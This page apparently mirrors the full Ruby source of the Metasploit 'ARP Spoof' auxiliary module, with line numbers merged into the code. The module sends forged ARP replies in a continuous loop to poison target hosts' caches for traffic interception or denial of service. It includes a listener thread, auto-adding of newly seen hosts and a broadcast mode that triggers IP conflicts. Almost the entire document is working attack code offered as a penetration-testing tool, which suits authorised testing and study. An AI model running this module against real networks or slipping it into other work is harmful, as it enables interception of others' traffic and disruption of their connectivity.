Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/arp/arp_poisoning.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Capture7include Msf::Auxiliary::Report89def initialize10super(11'Name' => 'ARP Spoof',12'Description' => %q{13Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.14},15'Author' => 'amaloteaux', # msf rewrite16#tons of people17'License' => MSF_LICENSE,18'References' =>19[20['OSVDB', '11169'],21['CVE', '1999-0667'],22['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']23],24'DisclosureDate' => 'Dec 22 1999' #osvdb date25)2627register_options([28OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),29OptString.new('SMAC', [false, 'The spoofed mac']),30OptString.new('DHOSTS', [true, 'Target ip addresses']),31OptString.new('INTERFACE', [false, 'The name of the interface']),32OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),33OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),34OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])35])3637register_advanced_options([38OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),39OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),40OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),41OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),42# This mode will generate address ip conflict pop up on most systems43OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])44])4546deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')47end4849def run50open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})51@netifaces = true52if not netifaces_implemented?53print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")54@netifaces = false55end56@spoofing = false57# The local dst (and src) cache(s)58@dsthosts_cache = {}59@srchosts_cache = {}60# Some additional caches for autoadd feature61if datastore['AUTO_ADD']62@dsthosts_autoadd_cache = {}63if datastore['BIDIRECTIONAL']64@srchosts_autoadd_cache = {}65end66end6768begin69@interface = datastore['INTERFACE'] || Pcap.lookupdev70# This is needed on windows cause we send interface directly to Pcap functions71@interface = get_interface_guid(@interface)72@smac = datastore['SMAC']73@smac ||= get_mac(@interface) if @netifaces74raise 'SMAC is not defined and can not be guessed' unless @smac75raise 'Source MAC is not in correct format' unless is_mac?(@smac)7677@sip = datastore['LOCALSIP']78@sip ||= get_ipv4_addr(@interface) if @netifaces79raise "LOCALSIP is not defined and can not be guessed" unless @sip80raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)8182shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])83@shosts = []84if datastore['BIDIRECTIONAL']85shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}86else87shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}88end8990if datastore['BROADCAST']91broadcast_spoof92else93arp_poisoning94end9596rescue => ex97print_error( ex.message)98ensure99100if datastore['LISTENER']101@listener.kill if @listener102end103104if capture and @spoofing and not datastore['BROADCAST']105print_status("RE-ARPing the victims...")1063.times do107@dsthosts_cache.keys.sort.each do |dhost|108dmac = @dsthosts_cache[dhost]109if datastore['BIDIRECTIONAL']110@srchosts_cache.keys.sort.each do |shost|111smac = @srchosts_cache[shost]112if shost != dhost113vprint_status("Sending arp packet for #{shost} to #{dhost}")114reply = buildreply(shost, smac, dhost, dmac)115inject(reply)116Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)117end118end119else120@shosts.each do |shost|121if shost != dhost122vprint_status("Sending arp request for #{shost} to #{dhost}")123request = buildprobe(dhost, dmac, shost)124inject(request)125Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)126end127end128end129end130if datastore['BIDIRECTIONAL']131@srchosts_cache.keys.sort.each do |shost|132smac = @srchosts_cache[shost]133@dsthosts_cache.keys.sort.each do |dhost|134dmac = @dsthosts_cache[dhost]135if shost != dhost136vprint_status("Sending arp packet for #{dhost} to #{shost}")137reply = buildreply(dhost, dmac, shost, smac)138inject(reply)139Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)140end141end142end143end144end # 3.times145end146close_pcap147end #begin/rescue/ensure148end149150def broadcast_spoof151print_status("ARP poisoning in progress (broadcast)...")152while(true)153@shosts.each do |shost|154vprint_status("Sending arp packet for #{shost} address")155reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')156inject(reply)157Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)158end159end160end161162def arp_poisoning163lsmac = datastore['LOCALSMAC'] || @smac164raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)165166dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])167@dhosts = []168dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}169170# Build the local dest hosts cache171print_status("Building the destination hosts cache...")172@dhosts.each do |dhost|173vprint_status("Sending arp packet to #{dhost}")174175probe = buildprobe(@sip, lsmac, dhost)176inject(probe)177while(reply = getreply())178next if not reply.is_arp?179# Without this check any arp request would be added to the cache180if @dhosts.include? reply.arp_saddr_ip181print_good("#{reply.arp_saddr_ip} appears to be up.")182report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)183@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac184end185end186187end188# Wait some few seconds for last packets189etime = Time.now.to_f + datastore['TIMEOUT']190while (Time.now.to_f < etime)191while(reply = getreply())192next if not reply.is_arp?193if @dhosts.include? reply.arp_saddr_ip194print_good("#{reply.arp_saddr_ip} appears to be up.")195report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)196@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac197end198end199Kernel.select(nil, nil, nil, 0.50)200end201raise "No hosts found" unless @dsthosts_cache.length > 0202203# Build the local src hosts cache204if datastore['BIDIRECTIONAL']205print_status("Building the source hosts cache for unknown source hosts...")206@shosts.each do |shost|207if @dsthosts_cache.has_key? shost208vprint_status("Adding #{shost} from destination cache")209@srchosts_cache[shost] = @dsthosts_cache[shost]210next211end212vprint_status("Sending arp packet to #{shost}")213probe = buildprobe(@sip, lsmac, shost)214inject(probe)215while(reply = getreply())216next if not reply.is_arp?217if @shosts.include? reply.arp_saddr_ip218print_good("#{reply.arp_saddr_ip} appears to be up.")219report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)220@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac221end222end223224end225# Wait some few seconds for last packets226etime = Time.now.to_f + datastore['TIMEOUT']227while (Time.now.to_f < etime)228while(reply = getreply())229next if not reply.is_arp?230if @shosts.include? reply.arp_saddr_ip231print_good("#{reply.arp_saddr_ip} appears to be up.")232report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)233@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac234end235end236Kernel.select(nil, nil, nil, 0.50)237end238raise "No hosts found" unless @srchosts_cache.length > 0239end240241if datastore['AUTO_ADD']242@mutex_cache = Mutex.new243end244245# Start the listener246if datastore['LISTENER']247start_listener(@dsthosts_cache, @srchosts_cache)248end249# Do the job until user interrupt it250print_status("ARP poisoning in progress...")251@spoofing = true252while(true)253if datastore['AUTO_ADD']254@mutex_cache.lock255if @dsthosts_autoadd_cache.length > 0256@dsthosts_cache.merge!(@dsthosts_autoadd_cache)257@dsthosts_autoadd_cache = {}258end259if datastore['BIDIRECTIONAL']260if @srchosts_autoadd_cache.length > 0261@srchosts_cache.merge!(@srchosts_autoadd_cache)262@srchosts_autoadd_cache = {}263end264end265@mutex_cache.unlock266end267@dsthosts_cache.keys.sort.each do |dhost|268dmac = @dsthosts_cache[dhost]269if datastore['BIDIRECTIONAL']270@srchosts_cache.keys.sort.each do |shost|271smac = @srchosts_cache[shost]272if shost != dhost273vprint_status("Sending arp packet for #{shost} to #{dhost}")274reply = buildreply(shost, @smac, dhost, dmac)275inject(reply)276Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)277end278end279else280@shosts.each do |shost|281if shost != dhost282vprint_status("Sending arp packet for #{shost} to #{dhost}")283reply = buildreply(shost, @smac, dhost, dmac)284inject(reply)285Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)286end287end288end289end290291if datastore['BIDIRECTIONAL']292@srchosts_cache.keys.sort.each do |shost|293smac = @srchosts_cache[shost]294@dsthosts_cache.keys.sort.each do |dhost|295dmac = @dsthosts_cache[dhost]296if shost != dhost297vprint_status("Sending arp packet for #{dhost} to #{shost}")298reply = buildreply(dhost, @smac, shost, smac)299inject(reply)300Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)301end302end303end304end305end306end307308309def is_mac?(mac)310if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true311else false end312end313314def buildprobe(shost, smac, dhost)315p = PacketFu::ARPPacket.new316p.eth_saddr = smac317p.eth_daddr = "ff:ff:ff:ff:ff:ff"318p.arp_opcode = 1319p.arp_daddr_mac = p.eth_daddr320p.arp_saddr_mac = p.eth_saddr321p.arp_saddr_ip = shost322p.arp_daddr_ip = dhost323p324end325326def buildreply(shost, smac, dhost, dmac)327p = PacketFu::ARPPacket.new328p.eth_saddr = smac329p.eth_daddr = dmac330p.arp_opcode = 2 # ARP Reply331p.arp_daddr_mac = p.eth_daddr332p.arp_saddr_mac = p.eth_saddr333p.arp_saddr_ip = shost334p.arp_daddr_ip = dhost335p336end337338def getreply339pkt_bytes = capture.next340return if not pkt_bytes341pkt = PacketFu::Packet.parse(pkt_bytes)342return unless pkt.is_arp?343return unless pkt.arp_opcode == 2344pkt345end346347def start_listener(dsthosts_cache, srchosts_cache)348349if datastore['BIDIRECTIONAL']350args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}351else352args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}353end354# To avoid any race condition in case of , even if actually those are never updated after the thread is launched355args[:AUTO_ADD] = datastore['AUTO_ADD']356args[:localip] = @sip.dup357@listener = Thread.new(args) do |args|358begin359# one more local copy360liste_src_ips = []361if args[:BIDIRECTIONAL]362args[:shosts].each_key {|address| liste_src_ips.push address}363else364args[:shosts].each {|address| liste_src_ips.push address}365end366liste_dst_ips = []367args[:dhosts].each_key {|address| liste_dst_ips.push address}368localip = args[:localip]369370listener_capture = ::Pcap.open_live(@interface, 68, true, 0)371listener_capture.setfilter("arp[6:2] == 0x0001")372while(true)373pkt_bytes = listener_capture.next374if pkt_bytes375pkt = PacketFu::Packet.parse(pkt_bytes)376if pkt.is_arp?377if pkt.arp_opcode == 1378# check if the source ip is in the dest hosts379if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or380(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)381vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")382reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)3833.times{listener_capture.inject(reply.to_s)}384elsif args[:AUTO_ADD]385if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and386pkt.arp_saddr_ip != localip)387@mutex_cache.lock388print_status("#{pkt.arp_saddr_ip} appears to be up.")389@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac390liste_dst_ips.push pkt.arp_saddr_ip391@mutex_cache.unlock392elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and393not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)394@mutex_cache.lock395print_status("#{pkt.arp_saddr_ip} appears to be up.")396@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac397liste_src_ips.push pkt.arp_saddr_ip398@mutex_cache.unlock399end400end401end402end403end404end405rescue => ex406print_error("Listener Error: #{ex.message}")407print_error("Listener Error: Listener is stopped")408end409end410@listener.abort_on_exception = true411end412end413414415